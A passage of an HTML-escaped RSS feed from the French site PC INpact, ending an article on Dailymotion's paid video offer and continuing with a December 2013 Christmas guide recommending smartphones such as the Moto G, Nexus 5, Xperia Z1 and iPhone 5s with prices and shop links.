+&lt;p&gt;Notez d'ailleurs que Dailymotion a tent&amp;eacute; la m&amp;ecirc;me aventure en proposant lui aussi &lt;a href="http://www.pcinpact.com/news/82711-vod-dailymotion-rajoute-millier-films-et-series-warner-bros.htm" target="_blank"&gt;une offre payante via son site&lt;/a&gt;. Vous pouvez ainsi louer un film dans les m&amp;ecirc;mes conditions qu'une plateforme de VoD classique, mais avec quelques avantages de moins face &amp;agrave; ce que propose Google. Tout d'abord, il faudra oublier l'acc&amp;egrave;s depuis un smartphone ou une tablette, notamment sous Android puisque les &amp;eacute;l&amp;eacute;ments payants n'y apparaissent toujours pas, contrairement &amp;agrave; ce qui est propos&amp;eacute; via l'application iOS.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ensuite, on regrettera que certains partenaires ne jouent pas forc&amp;eacute;ment le jeu. C'est notamment le cas de France TV l&amp;agrave; encore. Le portail de Pluzz V&amp;agrave;D &lt;a href="http://www.dailymotion.com/playlist/x2ildh_francetvpluzzvad_fais-pas-ci-fais-pas-ca-s5/1#video=xxyom6" target="_blank"&gt;r&amp;eacute;f&amp;eacute;rence ainsi par exemple&lt;/a&gt; la saison 5 de &lt;em&gt;Fais pas ci, fais pas &amp;ccedil;a,&lt;/em&gt; qui n'est pas la plus r&amp;eacute;cente. En effet, on retrouve l'int&amp;eacute;grale de la saison 6 l&amp;agrave; aussi &lt;a href="http://pluzzvad.francetv.fr/videos/fais-pas-ci-fais-pas-ca_saison6_12654.html" target="_blank"&gt;pour 7,99 &amp;euro; sur le site du service&lt;/a&gt;. Un point doublement probl&amp;eacute;matique puisqu'il est impossible d'acheter une int&amp;eacute;grale via Dailymotion, qui ne propose que six des huit &amp;eacute;pisodes pour 1,99 &amp;euro; chacun :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142319.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142319.png" alt="Dailymotion Fais pas ci fais pas &amp;ccedil;a Saison 5" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Pluzz V&amp;agrave;D propose des s&amp;eacute;ries incompl&amp;egrave;te et seulement par &amp;eacute;pisode chez Dailymotion&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On ne peut d'ailleurs pas dire que Dailymotion ne soit pas un peu en tort pour ce qui est du manque de visibilit&amp;eacute; et d'attractivit&amp;eacute; de son offre puisque rien sur la page d'accueil ne m&amp;egrave;ne &amp;agrave; la liste des cha&amp;icirc;nes payantes. Il est juste propos&amp;eacute; de filtrer ces r&amp;eacute;sultats via le moteur de recherche. Vous trouverez n&amp;eacute;anmoins quelques exemples sur &lt;a href="http://www.dailymotion.com/user/WarnerBrosPicturesFrance/1" target="_blank"&gt;la chaine de Warner Bros Pictures France&lt;/a&gt;, pour ne citer qu'elle.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ainsi, en parall&amp;egrave;le de l'offre num&amp;eacute;rique pure, certains ont d&amp;eacute;cid&amp;eacute; depuis quelques ann&amp;eacute;es de proposer une alternative : la&amp;nbsp;&amp;laquo; copie digitale &amp;raquo;.&lt;/p&gt;</description><pubDate>Tue, 24 Dec 2013 12:12:00 Z</pubDate></item><item><guid isPermaLink="false">682</guid><link>http://www.nextinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/1.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=tests&amp;utm_campaign=pcinpact</link><author>hardware@pcinpact.om</author><title>Noël 2013 : notre sélection des meilleurs cadeaux</title><description>&lt;p&gt;Cette ann&amp;eacute;e aura &amp;eacute;t&amp;eacute; marqu&amp;eacute;e par plusieurs points cl&amp;eacute;s du c&amp;ocirc;t&amp;eacute; des smartphones. Le premier auquel nous pensons est le rachat de Nokia par Microsoft &lt;a href="http://www.pcinpact.com/news/84498-les-actionnaires-nokia-approuvent-rachat-par-microsoft.htm" target="_blank"&gt;en septembre dernier&lt;/a&gt;. De plus, la grande tendance aura certainement &amp;eacute;t&amp;eacute; de voir appara&amp;icirc;tre des mobiles aux &amp;eacute;crans toujours plus grands, le record &amp;eacute;tant d&amp;eacute;tenu pour l'instant par Sony et son &lt;a href="http://www.prixdunet.com/s/367/Xperia+Z+Ultra.html" target="_blank"&gt;Xperia Z Ultra&lt;/a&gt; de 6,44 pouces. On notera aussi &lt;a href="http://www.touslesforfaits.fr/?BudgetUtilMin=0&amp;amp;BudgetUtilMax=166&amp;amp;CommUtilMin=0&amp;amp;CommUtilMax=300&amp;amp;DataUtilMin=0&amp;amp;DataUtilMax=12000&amp;amp;quatreg=true&amp;amp;BudgetMin=0&amp;amp;BudgetMax=166&amp;amp;DataMin=0&amp;amp;DataMax=12000&amp;amp;CommunicationMin=0&amp;amp;CommunicationMax=300&amp;amp;FairUseMin=0&amp;amp;FairUseMax=32000&amp;amp;smartphone=0&amp;amp;prixparmois=1&amp;amp;nbparpage=20&amp;amp;order=tarif&amp;amp;way=asc&amp;amp;page=1" target="_blank"&gt;l'arriv&amp;eacute;e de la 4G chez les diff&amp;eacute;rents op&amp;eacute;rateurs&lt;/a&gt;, ainsi qu'une pr&amp;eacute;sence plus forte des mobiles&amp;nbsp;&amp;laquo; low cost &amp;raquo;, avec Archos par exemple.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141334.jpeg" alt="Smartphone dossier" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Samsung, Apple, ou encore Google ont d&amp;eacute;gain&amp;eacute; &amp;agrave; tour de r&amp;ocirc;le leurs fers de lance respectifs avec les &lt;a href="http://www.prixdunet.com/s/367/Galaxy+S4.html" target="_blank"&gt;Galaxy S4&lt;/a&gt; /&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/367/Galaxy+Note+3.html" target="_blank"&gt;Note 3&lt;/a&gt;, l'&lt;a href="http://www.prixdunet.com/s/367/iPhone+5s.html" target="_blank"&gt;iPhone 5s&lt;/a&gt;&amp;nbsp;(voir &lt;a href="http://www.pcinpact.com/dossier/717-tout-savoir-des-iphone-5c-et-iphone-5s-en-dix-questions/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;) ou encore le Nexus 5 (voir &lt;a href="http://www.pcinpact.com/test/725-nexus-5-la-nouvelle-reference-des-smartphones-4g-sous-android/1.htm" target="_blank"&gt;notre test&lt;/a&gt;). Du c&amp;ocirc;t&amp;eacute; des OS mobiles, la firme de Mountain View a lanc&amp;eacute; successivement &lt;a href="http://www.pcinpact.com/news/81396-android-4-3-devoile-profils-restreints-opengl-es-3-0-et-drm-pour-netflix.htm" target="_blank"&gt;Android 4.3&lt;/a&gt; (Jelly Bean) en juillet dernier, alors qu'Android 4.4 (KitKat) a montr&amp;eacute; le bout de ses barres chocolat&amp;eacute;es &lt;a href="http://www.pcinpact.com/news/84216-google-nexus-5-sous-android-4-4-sera-disponible-4-novembre-des-349.htm" target="_blank"&gt;fin octobre&lt;/a&gt;. Du c&amp;ocirc;t&amp;eacute; de Cupertino, c'est iOS 7 (voir &lt;a href="http://www.pcinpact.com/dossier/718-ios-7-tout-ce-quil-faut-savoir-du-nouveau-systeme-dapple/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;) qui a &amp;eacute;t&amp;eacute; d&amp;eacute;voil&amp;eacute; durant l'&amp;eacute;t&amp;eacute; avant qu'il ne soit disponible pour tous &amp;agrave; compter de septembre.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;BlackBerry a lanc&amp;eacute; de son c&amp;ocirc;t&amp;eacute; BB10 &lt;a href="http://www.pcinpact.com/news/77149-rim-nest-plus-blackberry-est-desormais-seule-marque-groupe.htm" target="_blank"&gt;en tout d&amp;eacute;but d'ann&amp;eacute;e&lt;/a&gt;&amp;nbsp;et a proc&amp;eacute;d&amp;eacute; &amp;agrave; plusieurs mises &amp;agrave; jour. Le constructeur canadien a aussi d&amp;eacute;voil&amp;eacute; quatre smartphones : les &lt;a href="http://www.prixdunet.com/s/367/Blackberry+Z10.html" target="_blank"&gt;Z10&lt;/a&gt;, &lt;a href="http://www.prixdunet.com/s/367/Blackberry+Q10.html" target="_blank"&gt;Q10&lt;/a&gt;, &lt;a href="http://www.prixdunet.com/s/367/Blackberry+Q5.html" target="_blank"&gt;Q5&lt;/a&gt; ainsi que le Z30. Mais l'entreprise a du mal &amp;agrave; retrouver ses parts de march&amp;eacute;s, tout du moins pour l'instant. Microsoft de son c&amp;ocirc;t&amp;eacute; a continu&amp;eacute; de d&amp;eacute;ployer les mises &amp;agrave; jour pour Windows Phone 8 et, via la &lt;a href="http://www.pcinpact.com/news/83916-windows-phone-8-microsoft-detaille-gdr3-et-son-programme-developpeur.htm" target="_blank"&gt;GDR3&lt;/a&gt;, il supporte d&amp;eacute;sormais&amp;nbsp;des SoC &amp;agrave; quatre c&amp;oelig;urs ainsi que des &amp;eacute;crans Full HD.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Avant de passer &amp;agrave; notre s&amp;eacute;lection de smartphones de No&amp;euml;l, nous vous rappelons que &lt;a href="http://www.touslesforfaits.fr/" target="_blank"&gt;Tous les forfaits&lt;/a&gt;&amp;nbsp;est &amp;agrave; votre service, tandis que nos &lt;a href="http://www.pcinpact.com/bons-plans.htm" target="_blank"&gt;bons plans&lt;/a&gt; regorgent souvent d'&lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=5&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;offres de remboursement&lt;/a&gt; de la part des fabricants, mais aussi &lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=7&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;des op&amp;eacute;rateurs&lt;/a&gt;. N'oubliez pas aussi que des op&amp;eacute;rateurs comme &lt;a href="http://pdn.im/1b2HDw4" target="_blank"&gt;Sosh &lt;/a&gt;ou encore &lt;a href="http://pdn.im/1b2Hzwv" target="_blank"&gt;B&amp;amp;You&lt;/a&gt; par exemple proposent souvent des tarifs plus attractifs que les revendeurs, le tout sans engagement.&lt;/p&gt;
+&lt;h3&gt;Wiko Ozzy : double SIM, &amp;eacute;cran miniature et disponible aux alentours des 80 euros&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons avec l'&lt;a href="http://www.prixdunet.com/s/367/Ozzy+Wiko.html" target="_blank"&gt;Ozzy de Wiko&lt;/a&gt;. Ce smartphone ne distingue pas par ses caract&amp;eacute;ristiques techniques et ce qui en fait un mod&amp;egrave;le recommandable se situe ailleurs. Tout d'abord, cela commence par son look et&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/367/OZZY.html" target="_blank"&gt;ses quatre couleurs&lt;/a&gt;, mais&amp;nbsp;surtout c'est l'un des rares &amp;agrave; &amp;ecirc;tre encore disponible avec un &amp;eacute;cran de 3,5 pouces.&lt;/p&gt;
+&lt;p&gt;[PDN]814058[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il fonctionne sous Android 4.2.2 (Jelly Bean), embarque un processeur double c&amp;oelig;ur &amp;agrave; 1 GHz, dispose de deux emplacements pour les cartes SIM dont un supporte les r&amp;eacute;seaux 3G+ jusqu'&amp;agrave; 21 Mb/s. Son tarif est plut&amp;ocirc;t agressif puisqu'il est inf&amp;eacute;rieur &amp;agrave; 80 euros. &amp;Agrave; ce tarif-l&amp;agrave;, il va &amp;ecirc;tre difficile de faire mieux.&lt;/p&gt;
+&lt;h3&gt;Nokia Lumia 620 : un petit Windows Phone 8&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Continuons avec le &lt;a href="http://www.prixdunet.com/s/367/Lumia+620.html" target="_blank"&gt;Lumia 620&lt;/a&gt; de Nokia, un mod&amp;egrave;le de 3,8 pouces fonctionnant sous Windows Phone 8. C'est le mod&amp;egrave;le d'entr&amp;eacute;e de gamme de la firme finlandaise.&amp;nbsp;Il embarque une configuration relativement modeste : un SoC double c&amp;oelig;ur &amp;agrave; 1 GHz, 512 Mo de m&amp;eacute;moire vive ainsi que 8 Go de stockage, extensible via un lecteur de cartes.&lt;/p&gt;
+&lt;p&gt;[PDN]782682[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il est disponible sous les&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/367/lumia+620.html" target="_blank"&gt;200 euros&lt;/a&gt;&amp;nbsp;et dans une grande vari&amp;eacute;t&amp;eacute; de couleurs incluant blanc, bleu, magenta et vert. Si c'est un mod&amp;egrave;le 4G qui vous int&amp;eacute;resse, le premier supportant les r&amp;eacute;seaux LTE est le Lumia 820, propos&amp;eacute; &lt;a href="http://www.prixdunet.com/s/367/Lumia+820.html" target="_blank"&gt;&amp;agrave; partir de 210 euros&lt;/a&gt; environ.&lt;/p&gt;
+&lt;h3&gt;Motorola Moto G : la bonne surprise de cette fin d'ann&amp;eacute;e&lt;/h3&gt;
+&lt;p&gt;Passons au Moto G de Motorola qui a &amp;eacute;t&amp;eacute; annonc&amp;eacute; il y a &lt;a href="http://www.pcinpact.com/news/84416-motorola-veut-frapper-fort-avec-son-moto-g-45-sous-android-4-3-a-169-nu.htm" target="_blank"&gt;quelques jours seulement&lt;/a&gt; et qui nous semble la bonne surprise de cette fin d'ann&amp;eacute;e. Pourquoi ? Car d&amp;eacute;j&amp;agrave; il est personnalisable via ses diff&amp;eacute;rentes coques de couleurs. De plus, Motorola s'engage dans le suivi logiciel, bien aid&amp;eacute; certainement par sa filiation &amp;agrave; Google.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140955.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140955.jpeg" alt="Motorola Moto G" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; caract&amp;eacute;ristiques techniques, il est relativement complet avec un &amp;eacute;cran 720p de 4,5 pouces, un SoC &amp;agrave; quatre c&amp;oelig;urs, 1 Go de m&amp;eacute;moire vive et 8 / 16 Go de stockage. Notre choix ira d'ailleurs vers cette derni&amp;egrave;re d&amp;eacute;clinaison&amp;nbsp;puisque le Moto G ne dispose pas de lecteur de cartes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Question tarif, puisque l'on omet volontairement le mod&amp;egrave;le de 8 Go qui nous semble peu int&amp;eacute;ressant, voici les revendeurs qui proposent celui de 16 Go :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon :&amp;nbsp;&lt;a href="http://pdn.im/17Qz8Ep" target="_blank"&gt;198,47 euros&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
+&lt;li&gt;SFR :&amp;nbsp;&lt;a href="http://pdn.im/Id2k24" target="_blank"&gt;&amp;agrave; partir de &amp;nbsp;9,90 euros&lt;/a&gt;&amp;nbsp;(229 euros nu)&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;BlackBerry Q5 : non le clavier physique n'est pas mort&lt;/h3&gt;
+&lt;p&gt;Encha&amp;icirc;nons avec le &lt;a href="http://www.prixdunet.com/s/367/Q5+.html" target="_blank"&gt;Q5 de Blackberry&lt;/a&gt;. Celui-ci nous int&amp;eacute;resse pour deux points principaux. Le premier est d'avoir l'environnement BlackBerry OS, mais aussi et surtout un vrai clavier physique. Une chose qui commence s&amp;eacute;rieusement &amp;agrave; se rar&amp;eacute;fier alors que cela peut &amp;ecirc;tre tr&amp;egrave;s pratique d&amp;egrave;s lors qu'il faut envoyer un SMS un peu long, ou pire un email. Par contre, ce ne sera pas le meilleur t&amp;eacute;l&amp;eacute;phone pour la photographie : seulement 5 m&amp;eacute;gapixels pour son capteur dorsal.&lt;/p&gt;
+&lt;p&gt;[PDN]798634[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Autre point qui lui permet d'avoir toute sa place ici, il est compatible avec les r&amp;eacute;seaux 4G et son tarif est tout de m&amp;ecirc;me nettement plus int&amp;eacute;ressant que son grand fr&amp;egrave;re &lt;a href="http://www.prixdunet.com/s/367/blackberry+Q10.html" target="_blank"&gt;le Q10&lt;/a&gt;. Enfin, il est disponible en trois coloris : &lt;a href="http://www.prixdunet.com/s/367/blackberry+Q5.html" target="_blank"&gt;blanc, noir et rouge&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Nexus 5 : il a tout d'un haut de gamme sauf le prix et la batterie&lt;/h3&gt;
+&lt;p&gt;Passons au Nexus 5 (voir &lt;a href="http://www.pcinpact.com/test/725-nexus-5-la-nouvelle-reference-des-smartphones-4g-sous-android/1.htm" target="_blank"&gt;notre test&lt;/a&gt;) de Google produit par LG. Celui-ci s'adresse avant tout &amp;agrave; ceux qui souhaitent un Android brut, sans la moindre surcouche et qui se met &amp;agrave; jour d&amp;egrave;s lors que la firme de Moutain View proc&amp;egrave;de au moindre changement. C&amp;ocirc;t&amp;eacute; caract&amp;eacute;ristique technique, il a de quoi tenir t&amp;ecirc;te aux t&amp;eacute;nors du march&amp;eacute; comme les Galaxy S4 de Samsung, One de HTC ainsi que le G2 deLG.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140533.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140533.png" alt="Nexus 5 noir" width="400" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cependant, quelques d&amp;eacute;tails chagrinent : sa batterie est un peu faiblarde (2300 mAh) et son capteur photo est un peu l&amp;eacute;ger. Reste qu'&amp;agrave; 350 euros, il ne faut pas trop faire la fine bouche pour un mobile supportant la 4G, la recharge sans fil et disposant d'un &amp;eacute;cran Full HD de 4,95 pouces.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Nexus 5 sur le Play Store, &lt;a href="https://play.google.com/store/devices/details?id=nexus_5_black_16gb" target="_blank"&gt;&amp;agrave; partir de 349 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver le Nexus 5 chez Bouygues Telecom, &lt;a href="http://pdn.im/Tt5VeQ" target="_blank"&gt;&amp;agrave; partir de 29,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Galaxy Mega 6.3 : vous vouliez un t&amp;eacute;l&amp;eacute;phone XXXXXXXXL ?&lt;/h3&gt;
+&lt;p&gt;Vous cherchez un t&amp;eacute;l&amp;eacute;phone g&amp;eacute;ant ou une tablette miniature ? Il faut vous tourner vers le Galaxy Mega 6.3 de Samsung. Comme son nom l'indique, il est dot&amp;eacute; d'un &amp;eacute;cran 720p de 6,3 pouces, il fonctionne sous Android 4.2 (Jelly Bean) et la mise &amp;agrave; jour vers Android 4.3 est d&amp;eacute;j&amp;agrave; act&amp;eacute;e du c&amp;ocirc;t&amp;eacute; du g&amp;eacute;ant cor&amp;eacute;en.&lt;/p&gt;
+&lt;p&gt;[PDN]794000[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il p&amp;egrave;se pr&amp;egrave;s de 200 grammes et comprend une batterie relativement importante de 3200 mAh. Il est compatible 4G et embarque un capteur photo / vid&amp;eacute;o de 8 m&amp;eacute;gapixels. Notez que si vous souhaitez le prendre au travers d'un op&amp;eacute;rateur, une offre de &lt;a href="http://www.pcinpact.com/bon-plan/1221-80-rembourses-pour-achat-dun-smartphone-chez-bouygues-telecom.htm" target="_blank"&gt;80 euros&lt;/a&gt; de remboursement est disponible chez Bouygues Telecom. Quoi qu'il en soit, &lt;a href="http://www.prixdunet.com/s/367/Galaxy+mega.html" target="_blank"&gt;trois coloris sont propos&amp;eacute;s&lt;/a&gt; : blanc, gris ou noir.&lt;/p&gt;
+&lt;h3&gt;Xperia Z1 : plongez-le dans l'eau et faites des photos&lt;/h3&gt;
+&lt;p&gt;Passons au Xperia Z1 de Sony que nous retenons pour plusieurs points caract&amp;eacute;ristiques techniques. Tout d'abord, il est dot&amp;eacute; d'un &amp;eacute;cran Full HD et en plus il est &amp;eacute;tanche &amp;agrave; l'eau et &amp;agrave; la poussi&amp;egrave;re, ce qui lui permet de sortir de quelques tracas du quotidien. Ensuite, c'est aussi gr&amp;acirc;ce &amp;agrave; son capteur photo de 20,7 m&amp;eacute;gapixels qu'il se distingue de la concurrence.&lt;/p&gt;
+&lt;p&gt;[PDN]810666[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En outre, il embarque une puce Snapdragon 800 de Qualcomm, 2 Go de m&amp;eacute;moire vive et 16 Go de m&amp;eacute;moire interne, qui pourra &amp;ecirc;tre &amp;eacute;tendu via son lecteur de cartes microSDHC. Il supporte les r&amp;eacute;seaux 4G, le Wi-Fi 802.11ac et embarque en plus une puce NFC. Sony le propose dans trois coloris : &lt;a href="http://www.prixdunet.com/s/367/Xperia+Z1.html" target="_blank"&gt;blanc, noir ou violet&lt;/a&gt;&amp;nbsp;et la marque s'est engag&amp;eacute;e concernant son &lt;a href="http://www.pcinpact.com/news/84308-sony-jelly-bean-mois-prochain-pour-certains-mobiles-kitkat-pour-dautres.htm" target="_blank"&gt;suivi d'Android&lt;/a&gt;. Notez enfin qu'une &lt;a href="http://www.pcinpact.com/bon-plan/1328-sony-rembourse-100-sur-xperia-z1-et-z-ultra-et-offre-100-contenus.htm" target="_blank"&gt;offre de remboursement de 100 euros&lt;/a&gt; est disponible et elle est accompagn&amp;eacute;e de 100 euros de contenu multim&amp;eacute;dia comprenant six films, de 60 jours de musique en illimit&amp;eacute; ainsi qu'&amp;agrave; 10 jeux certifi&amp;eacute;s PlayStation.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Nokia Lumia 1020 : le roi de la photo&lt;/h3&gt;
+&lt;p&gt;Second Windows phone de notre s&amp;eacute;lection, le Lumia 1020 de Nokia. On le retient, comme le Sony ci-dessus, principalement pour son capteur photo / vid&amp;eacute;o &amp;laquo; Pureview &amp;raquo; de 41 m&amp;eacute;gapixels, mais aussi car la marque finlandaise propose son mobile dans plusieurs coloris :&amp;nbsp;&lt;a href="http://www.prixdunet.com/s/367/Nokia+1020.html" target="_blank"&gt;blanc, jaune ou noir&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]819960[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En outre, il dispose d'un &amp;eacute;cran AMOLED &amp;laquo; ClearBlack &amp;raquo; de 4,5 pouces en 768p et utilisable avec des gants, d'une puce Snapdragon S4 double c&amp;oelig;ur &amp;agrave; 1,5 GHz, de 32 Go de stockage et il supporte la 4G. Il est livr&amp;eacute; sous Windows Phone 8 et compatible avec la recharge sans fil gr&amp;acirc;ce &amp;agrave; une coque additionnelle.&lt;/p&gt;
+&lt;h3&gt;iPhone 5s : le luxe n'a pas de prix&lt;/h3&gt;
+&lt;p&gt;Finissons avec l'iPhone 5S (voir &lt;a href="http://www.pcinpact.com/dossier/717-tout-savoir-des-iphone-5c-et-iphone-5s-en-dix-questions/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;) qui a &amp;eacute;t&amp;eacute; annonc&amp;eacute; en septembre dernier. S'il ne change de look par rapport &amp;agrave; l'iPhone 5, il ajoute quelques fonctionnalit&amp;eacute;s bienvenues. De plus, c'est le premier smartphone &amp;agrave; disposer d'une puce 64 bits : l'A7.&lt;/p&gt;
+&lt;p&gt;[PDN]813848[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En outre, il embarque un lecteur d'empreinte au sein de son bouton d'accueil. L'appareil est livr&amp;eacute; avec la derni&amp;egrave;re mouture en date du syst&amp;egrave;me d'exploitation mobile d'Apple : iOS7. Trois coloris sont disponibles : noir, dor&amp;eacute; ou gris. C&amp;ocirc;t&amp;eacute; tarif, il faut compter &lt;a href="http://pdn.im/1blaZ92" target="_blank"&gt;709 euros&lt;/a&gt; au minimum.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver l'iPhone 5S chez Apple, &lt;a href="http://pdn.im/1blaZ92" target="_blank"&gt;&amp;agrave; partir de 709 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Les f&amp;ecirc;tes de No&amp;euml;l approchent, et avec elles, le besoin de trouver un cadeau adapt&amp;eacute; aux diff&amp;eacute;rents membres de la famille, ou m&amp;ecirc;me de votre entourage proche. Et s'il y a bien une cat&amp;eacute;gorie de personnes qui ne simplifie pas la t&amp;acirc;che... ce sont bien les geeks.&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/107476-papa-noel-t-shirt-pci.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-107476-papa-noel-t-shirt-pci.png" alt="" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&lt;br /&gt;&lt;a href="http://www.pcinpact.com/dossier/701-cadeaux-de-noel-guide-de-survie-pour-vos-achats-en-ligne/1.htm" target="_blank"&gt;Il y a quelques jours&lt;/a&gt;, nous avions d&amp;eacute;cid&amp;eacute; de faire le point sur la meilleure fa&amp;ccedil;on d'&amp;ecirc;tre livr&amp;eacute; &amp;agrave; temps pour No&amp;euml;l, vos droits, ainsi que les proc&amp;eacute;dures mises en place par les revendeurs &amp;agrave; l'occasion de cette p&amp;eacute;riode cruciale. Des points importants, et &amp;agrave; ne pas n&amp;eacute;gliger pour passer un bon r&amp;eacute;veillon de No&amp;euml;l et profiter au mieux du d&amp;eacute;ballage de vos cadeaux :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.pcinpact.com/dossier/701-cadeaux-de-noel-guide-de-survie-pour-vos-achats-en-ligne/1.htm" target="_blank"&gt;Notre dossier sur le meilleur moyen d'&amp;ecirc;tre livr&amp;eacute; &amp;agrave; temps pour les f&amp;ecirc;tes de No&amp;euml;l&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Comme chaque ann&amp;eacute;e, nous avons aussi d&amp;eacute;cid&amp;eacute; de publier une s&amp;eacute;lection des meilleurs composants du moment, mais aussi de produits high-tech qui correspondent &amp;agrave; un public plus large : tablettes, liseuses, ordinateurs portables et autres smartphones. Une s&amp;eacute;lection ouverte, puisque nous vous proposons de donner votre avis, de proposer des produits ou de nous indiquer vos pr&amp;eacute;f&amp;eacute;rences au sein d'un sujet de notre forum.&amp;nbsp;Nous mettrons ainsi ce guide &amp;agrave; jour en fonction de vos retours, pour que celui-ci vous ressemble.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://forum.pcinpact.com/topic/164854-dossier-de-noel-2012-vos-avis-vos-idees-vos-reactions/" target="_blank"&gt;Donner votre avis et faire vos propositions au sein de notre forum de conseils d'achats&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Enfin, sachez que notre fameuse &amp;laquo; Team Bons plans &amp;raquo;&amp;nbsp;vous permettra de d&amp;eacute;nicher toutes les bonnes affaires du moment, que ce soit via les offres de fin d'ann&amp;eacute;e, celles du &lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=9&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;#BlackFriday&lt;/a&gt; ou du &lt;a href="http://www.pcinpact.com/bons-plans.htm?keywords=&amp;amp;typeBonPlan=9&amp;amp;sortByDate=false&amp;amp;sortByPopu=true&amp;amp;showFlashOnly=0" target="_blank"&gt;#CyberMonday&lt;/a&gt; mais aussi de retrouver toutes les offres de remboursement propos&amp;eacute;es par les constructeurs pendant cette p&amp;eacute;riode. Attention, pour en profiter il faudra &amp;ecirc;tre patient, et ne pas oublier de remplir votre dossier avec attention.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;N'h&amp;eacute;sitez pas &amp;agrave; nous suivre afin de vous tenir inform&amp;eacute;s, mais aussi &amp;agrave; nous faire conna&amp;icirc;tre vos propres offres et bonnes affaires afin que nous puissions en faire profiter la communaut&amp;eacute; :&lt;/p&gt;
+&lt;ul&gt;
